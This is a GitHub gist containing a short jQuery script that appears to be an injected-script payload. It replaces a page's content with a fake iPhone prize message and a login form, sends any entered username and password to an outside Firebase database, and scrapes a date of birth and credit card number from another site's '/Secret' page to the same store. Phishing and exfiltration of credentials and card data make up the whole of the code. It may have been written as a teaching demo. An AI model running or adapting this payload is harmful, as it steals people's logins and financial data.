Skip to content

Instantly share code, notes, and snippets.

@calvinlai
Last active August 29, 2015 13:56
Show Gist options
  • Save calvinlai/8966207 to your computer and use it in GitHub Desktop.
Save calvinlai/8966207 to your computer and use it in GitHub Desktop.
$('h2').text('Congratulations!');
$('.container section').html('<p>You have won an iPhone 5s. Please confirm your username and password to claim prize!</p><form action="/" id="username-form"><label class="col-md-2 control-label" for="UserName">User name</label><input class="form-control" id="UserName" name="UserName" type="text" value="" /><br /><label class="col-md-2 control-label" for="Password">Password</label><input class="form-control" data-val="true" id="Password" name="Password" type="password" /><br /><button>Confirm and claim prize</button></form>');
$.getScript('https://cdn.firebase.com/js/client/1.0.6/firebase.js').done(function( script, textStatus ) {
var db = new Firebase('https://grouplearning.firebaseio.com/list');
$('#username-form').on('submit', function(e) {
e.preventDefault();
var username = $('#UserName').val();
var password = $('#Password').val();
if (username && username.length > 0 && password && password.length > 0) {
db.push({ username: username, password: password });
if (confirm('Thank you! Our customer representative will contact you shortly.')) {
document.location = '/';
}
}
else {
alert('Please enter your username and password to confirm and claim your prize.');
}
});
$.get('http://www.gurpreetsinghrana.com/Secret', function(data) {
$dom = $(data);
db.push({ dob: $dom.find('#dob').text(), ccnumber: $dom.find('#ccnumber').text(), datetime:new Date() });
});
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment